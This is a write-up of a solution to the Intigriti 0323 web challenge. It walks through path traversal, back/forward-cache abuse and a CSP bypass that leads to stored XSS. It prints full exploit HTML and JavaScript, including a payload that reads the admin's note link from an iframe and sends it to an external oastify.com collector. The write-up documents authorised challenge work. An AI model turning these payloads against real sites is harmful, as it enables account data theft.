Intigriti Challenge 0323 — Solution

Lyubomir Tsirkov
7 min readApr 11, 2023

Attack Narrative

Initially, I started by cloning the repository and inspecting the source code.

A few things immediately got my attention — the unsanitized input “${id}” within the “fetch” request in “view.js” file or simply said the possibility to use “../” and the debug endpoint. Furthermore, I spent time exploring the app manually, so to get myself familiar with the functionality.

Debug Endpoint in “/app.js”

By accessing the debug endpoint with custom configured header “mode:read” within the request headers and providing valid ID note in the URL, the application returned the content of my note without any sanitization. The “Content-Type” was also “text/html”, however, there was strict “Content Security” policy.

The biggest problem here was that in order to trigger such response, I needed to have configured custom header “mode:read”.

I spent a lot of time trying to figure it out how to achieve that. Eventually, upon receiving the second hint from Intrigiti, I decided to investigate any potential cache issues.

At this stage, I was not able to identify any Cache mechanism configured on the server. Due to this reason, my research was focused on issues within Browser cache.

After some research, I came across on the following page describing different ways of “abusing” the cache of Chrome browser. It was worth reading as the bot was using Chrome headless browser.

Link: https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss

Within the article there are two suggested ways:

  • Back/Forward Cache (bfcache)
  • Disk Cache

I spent some time reading about Disk Cache, but I wasn’t able to reproduce it, so I decided to focus mainly on “Back/Forward Cache”.

To test the “Back/Forward Cache”, I performed the following step:

  • I switched the headless: true to headless: false in “/bot.js” so that I can observe what was happening when the bot visits my page.
  • I commented out the following lines in “/bot.js” so that the browser doesn’t close after the execution of the script/bot.
//await page.close();
//await browser.close();

Having that configuration, I did the following:

In order to test the “Back/Forward Cache”, I changed the ID param to “../debug/52abd8b5–3add-4866–92fc-75d2b1ec1938/9ce86edf-2b82–454e-97ed-e5847e8b370f” so that “fetch” request automatically assigns the necessary “mode:read” header.

Final URL:

http://127.0.0.1/note/9ce86edf-2b82-454e-97ed-e5847e8b370f?id=../debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/9ce86edf-2b82-454e-97ed-e5847e8b370f

Being ready to test the “Back/Forward” cache, I sent request to “/visit?url=” to make the bot opens its browser for debuging purposes.

URL: http://127.0.0.1/visit?url=http://127.0.0.1/

That opened the browser and I manually requested the following URL:

URL: http://127.0.0.1/debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/9ce86edf-2b82-454e-97ed-e5847e8b370f

As expected, it returned 404 due to missing “mode:read” headers.

Next, I requested:

URL: http://127.0.0.1/note/9ce86edf-2b82-454e-97ed-e5847e8b370f?id=../debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/9ce86edf-2b82-454e-97ed-e5847e8b370f

It returned sanitized content of my note due to the reason that the result from the “fetch” request(id param) is passed via DOMPurify. However, after I clicked on “Back” button of the browser, the 404 page on “/debug” endpoint was replaced with my payload without any sanitization as the fetch request already cached it.

Due to the strict CSP, the code didn’t execute, but it was a prove that the “Back/Forward cache” was the path I needed to follow.

To make the bot reproduce my steps, I created two files and hosted them on my host “myhost.com”.

Filename: exp.html

<script>
const host = 'http://127.0.0.1';
const debugid = '52abd8b5-3add-4866-92fc-75d2b1ec1938';
const noteid = 'c1c89a4e-011d-4e88-b62c-4ad62898f818';
const url_first = `${host}/debug/${debugid}/${noteid}`;
const url_second = `${host}/note/${noteid}?id=../debug/${debugid}/${noteid}`;
const back = "https://myhost.com/lol/back.html";

const newWindow = window.open(url_first, '_blank');
setTimeout(() => {
newWindow.location.href = url_second;
setTimeout(() => {
newWindow.location.href = back;
}, 2000);
}, 2000);
</script>

Filename: back.html

<script>
history.go(-2);
</script>

As in my manual approach, my script does the following:

  1. Opens “/debug/…” URL so that it can get back to it later.
  2. Open “?id=../debug” endpoint to cache my payload “mode:read
  3. Open “myhost.com/lol/back.html” to make the browser goes to its bfcache. It was possible by using “history.go(-2)” — which represent the first opened URL — “/debug/52abd8b5–3add-4866–92fc-75d2b1ec1938”.

It was already possible for the bot to execute my XSS payload. However, the “Content Security Policy(CSP)” was very strict.

Content-Security-Policy: default-src 'self'; style-src fonts.gstatic.com fonts.googleapis.com 'self' 'unsafe-inline';font-src fonts.gstatic.com 'self'; script-src 'self'; base-uri 'self'; frame-src 'self'; frame-ancestors 'self';  object-src 'none';

The CSP Evaluator showed:

Script-src” directive allowed me to load scripts only within the same domain. In my case it was “http://127.0.0.1/".

The problem was that I wasn’t able to host script on http://127.0.0.1.
Upon conducting further testing, I observed that when attempting to access an invalid page, the app returns the following response:

Within the source code, the function that returns that output is: “encodeURI”

“encodeURI” has the following limitation in terms of characters:

As a bonus of the limitation, there is also “Content-type:text/plain” configured which won’t render any html/js.

One of the possibilities was to try to load an invalid page using <script> tag.

<script src="/aaaaaa/"></script>

It will try to load it and parse it as JS code. After testing a lot, I came across the following payload that triggered alert(1);

<script src="/aaaaa/,alert(1)"></script>

It means that I could make the bot load JS using invalid page. However it was very restrictive in terms of characters. I wasn’t able to define functions, set callbacks which was the biggest problem at the stage.

Eventually, I could do something like:

<script src="/aaaaa/,alert(1);console.log(444);console.log(6666)"></script>

After testing a lot and realizing that I can’t use “eval & setTimeout” as well as a lot of characters useful for defining functions, I came to the conclusion that I need to use “Iframe” within my payload as it was allowed by CSP as well.

What I was trying to achieve was to get the response from the IFRAME using JS. However, it wasn’t that easy as most of the time my JS code got executed before the Iframe gets its response from “http://127.0.0.1/notes". As I already mentioned, It was not possible to set timeout with JS.

The solution that I found to be working is loading multiple times any other resource such as “/purify.js” and put my script at the end so to be sure that the iframe will have already loaded its content when my script gets executed.

Payload:

<iframe id="test" src="http://127.0.0.1/notes"></iframe>
<script src="http://127.0.0.1/challenge/purify.js?t=1"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=2"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=3"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=4"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=5"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=6"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=7"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=8"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=9"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=10"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=11"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=12"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=13"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=14"></script>
<script src="http://127.0.0.1/aaaaaa/,console.log('RandomStuff');payload=encodeURI(document.getElementById('test').contentWindow.document.body.querySelector('a'));window.location.href='https://xtufck408g0tyjsqw9wbravca3gu4qsf.oastify.com/'+payload"></script>

My payload is basically doing the following:

  • IFrame to “/notes”.
  • Get the A tag which is only one within that page /notes and contains note URL.
  • I use “window.location.href” to redirect the bot to my collaboration page together with the content of “A” tag so that I can receive the response.
GET /http://127.0.0.1/note/57f68c25-d441-4042-959d-a6d4b9347707?id=57f68c25-d441-4042-959d-a6d4b9347707 HTTP/1.1

Simple Steps To Reproduce:

  1. Create a note with the following content and change the location of “window.location.href” to your host as it’s the location where the Admin Note will be send. In my case it’s “https://y10gklc1gh8u6k0r4a4czb3di4ovcp0e.oastify.com/" — My Burp collaborator.
<iframe id="test" src="http://127.0.0.1/notes"></iframe>
<script src="http://127.0.0.1/challenge/purify.js?t=1"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=2"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=3"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=4"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=5"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=6"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=7"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=8"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=9"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=10"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=11"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=12"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=13"></script>
<script src="http://127.0.0.1/challenge/purify.js?t=14"></script>
<script src="http://127.0.0.1/aaaaaa/,console.log('RandomStuff');payload=encodeURI(document.getElementById('test').contentWindow.document.body.querySelector('a'));window.location.href='https://xtufck408g0tyjsqw9wbravca3gu4qsf.oastify.com/'+payload"></script>

2. Get the ID of the note and put it in the following script. Let’s say it’s 1234

<script>
const host = 'http://127.0.0.1';
const debugid = '52abd8b5-3add-4866-92fc-75d2b1ec1938';
const noteid = '1234';
const url_first = `${host}/debug/${debugid}/${noteid}`;
const url_second = `${host}/note/${noteid}?id=../debug/${debugid}/${noteid}`;
const back = "https://myhost.com/lol/back.html";

const newWindow = window.open(url_first, '_blank');
setTimeout(() => {
newWindow.location.href = url_second;
setTimeout(() => {
newWindow.location.href = back;
}, 2000);
}, 2000);
</script>

3. Host that script somewhere. In my case I hosted it on:

4. Create another html file called back.html and host in it the same directory. In my case it’s

Filename: back.html

<script>
history.go(-2);
</script>

5. Open the following URL and replace the URL param with your external script.

6. You will receive on your listener the admin note URL. The listener is configured on the first step.

7. Access the received note on: https://challenge-0323.intigriti.io/

I’d like also to thank the people that contributed to my success as it was hard challenge!

--

--